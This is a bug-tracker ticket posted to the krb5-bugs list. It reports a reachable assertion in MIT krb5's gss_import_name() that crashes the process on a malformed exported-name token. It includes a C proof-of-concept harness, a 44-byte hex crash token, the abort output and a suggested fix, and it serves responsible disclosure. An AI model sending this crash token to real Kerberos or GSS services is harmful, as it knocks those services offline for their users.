[krbdev.mit.edu #9217] [krb5] Reachable assert(cp == end) in gss_import_name() aborts on a malformed exported-name token (CWE-617 DoS)

Ze Sheng via RT rt-comment at krbdev.mit.edu
Mon Jun 1 08:54:43 EDT 2026


Mon Jun 01 08:54:42 2026: Request 9217 was acted upon.
 Transaction: Ticket created by zesheng at tamu.edu
       Queue: krb5
     Subject: [krb5] Reachable assert(cp == end) in gss_import_name() aborts on a malformed exported-name token (CWE-617 DoS)
       Owner: Nobody
  Requestors: zesheng at tamu.edu
      Status: new
 Ticket <URL: https://krbdev.mit.edu/rt/Ticket/Display.html?id=9217 >


Hi krb5,

Reporting a reachable assertion in the krb5 GSS mechanism: a malformed
GSS_C_NT_EXPORT_NAME token fed to gss_import_name() aborts the process via
assert(cp == end) in import_name(). It is memory-safe (bounds-checked; not
an
overflow), but since krb5 keeps assertions in release builds, the abort is
reachable in production -- I reproduced it against the stock Ubuntu MIT krb5
1.19.2 library with a single gss_import_name() call (below).

Full write-up and a self-contained PoC follow.

--------------------------------------------------------------------------------


## Summary

`gss_import_name()` with `GSS_C_NT_EXPORT_NAME` (or
`GSS_C_NT_COMPOSITE_EXPORT`)
aborts the process via `assert(cp == end)` in the krb5 mech's
`import_name()`
when the supplied exported-name token declares a name length that leaves
trailing
bytes unconsumed. The assertion is used to validate **attacker-supplied**
length
framing, so a malformed token reaches `abort()` (SIGABRT) — a denial of
service
in any application that imports untrusted exported names.

It is memory-safe (no out-of-bounds access, no corruption): every buffer
access
is bounds-checked, and the assert is purely a length-consistency check. But
MIT
krb5 does not compile out assertions (no `-DNDEBUG` in the build), and
shipped
distribution libraries keep them, so the abort is reachable in production
builds.

## Affected

- Component: `src/lib/gssapi/krb5/import_name.c` — `krb5_gss_import_name()`
/
  `import_name()`, the `assert(cp == end)`.
- Verified on: current `master` (`cf20efe`, assert at `import_name.c:300`)
AND the
  system MIT krb5 **release 1.19.2** (`import_name.c:303`). The code and
assert
  are long-standing (introduced 2009 with the GSS naming extensions).
- Build note: MIT krb5's build system defines `NDEBUG` nowhere
  (`grep -rn DNDEBUG src/` is empty), so assertions are live in normal
release
  builds; distro `libgssapi_krb5` ships with the assert compiled in.

## Root cause

`import_name()` copies the token into `tmp`, sets `cp`/`end`, validates the
TOK_ID and mech OID, then reads a 4-byte big-endian, attacker-controlled
name
length and copies that many bytes — after which it asserts the cursor
reached the
end of the buffer:

```c
/* src/lib/gssapi/krb5/import_name.c (HEAD cf20efe) */
235  cp = (unsigned char *)tmp;
236  end = cp + input_name_buffer->length;
...
270  BOUNDS_CHECK(cp, end, 4);
271  length = *cp++;
272  length = (length << 8) | *cp++;
273  length = (length << 8) | *cp++;
274  length = (length << 8) | *cp++;        // attacker-controlled name
length
276  BOUNDS_CHECK(cp, end, length);          // ensures cp does not pass end
277  tmp2 = k5alloc(length + 1, &code);
...
281  tmp2[length] = 0;                       // stringrep is independently
NUL-terminated
283  cp += length;
...
300  assert(cp == end);                      // <-- fires when the buffer
has trailing bytes
```

`BOUNDS_CHECK` guarantees `cp` never advances past `end`, but it does
**not**
require the buffer to be exactly the declared length. If the token carries
MORE
bytes than the name length consumes (trailing data after the name, or the
composite block), `cp` lands short of `end`, `cp != end`, and `assert()`
aborts.

After the assert the code only uses `stringrep` (the separately-terminated
copy);
`cp`/`end` are never referenced again. So with assertions disabled the same
input
is a benign misparse (the trailing bytes are ignored) — no memory-safety
impact.
The bug is solely the reachable `abort()`.

## Proof of concept

A single public `gss_import_name()` call — exactly how an application
re-imports
an exported name — on a 44-byte malformed token, linked against the system
MIT
krb5, aborts:

```c
/* import_name_poc.c — build:
 *   clang -g import_name_poc.c $(pkg-config --cflags --libs krb5-gssapi)
-o import_name_poc
 * run: ./import_name_poc crash_input
 */
#include <gssapi/gssapi.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
  const char *path = argc > 1 ? argv[1] : "crash_input";
  FILE *f = fopen(path, "rb");
  if (!f) { perror("fopen"); return 2; }
  static unsigned char buf[4096];
  size_t n = fread(buf, 1, sizeof(buf), f);
  fclose(f);

  OM_uint32 major, minor;
  gss_buffer_desc in = { n, buf };
  gss_name_t out = GSS_C_NO_NAME;
  major = gss_import_name(&minor, &in, GSS_C_NT_EXPORT_NAME, &out);
  if (major == GSS_S_COMPLETE) gss_release_name(&minor, &out);
  return 0;
}
```

The 44-byte token (`crash_input`, hex): an exported-name blob with the krb5
mech
OID `1.2.840.113554.1.2.2`, a name-length field of `0x0000000a`, then a name
followed by extra trailing bytes so `cp != end`:

```
04 01 00 0b 06 09 2a 86 48 86 f7 12 01 02 02 00
00 00 0a 75 73 65 72 40 52 45 41 0b 06 09 2a 86
48 86 f7 12 01 02 02 00 00 00 4c 4d
```

**Output (system MIT krb5 1.19.2):**

```
import_name_poc: .../src/lib/gssapi/krb5/import_name.c:303:
krb5_gss_import_name:
  Assertion `cp == end' failed.
Aborted (SIGABRT)
```

## Impact

| Aspect | Details |
|--------|---------|
| **Type** | Reachable assertion -> `abort()` (denial of service) |
| **Severity** | Low–medium (process crash on untrusted exported-name
input) |
| **Attack surface** | Apps importing exported names from untrusted sources
(ACL/authorization-name comparison, RPCSEC_GSS, NFS/Kerberos services,
gss_export_name round-trips) |
| **Memory safety** | Safe — bounds-checked; not an overflow. Pure CWE-617
reachable assertion. |
| **Build dependence** | Live in normal release builds (krb5 does not
define NDEBUG); distro libs ship it |
| **CWE** | CWE-617 (Reachable Assertion) |

## Suggested fix

Replace the assertion with the function's existing error handling, so a
malformed
token returns `GSS_S_BAD_NAME` instead of aborting:

```c
-    assert(cp == end);
+    if (cp != end)
+        goto fail_name;        /* returns GSS_S_BAD_NAME, like the other
checks */
```

## Credit

Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken).
--------------------------------------------------------------------------------

Happy to send a patch (assert -> goto fail_name) if useful. Thanks!

Best regards,
Ze Sheng
Aisle Research (Ze Sheng, Dmitrijs Trizna, Luigino Camastra, Guido Vranken)



More information about the krb5-bugs mailing list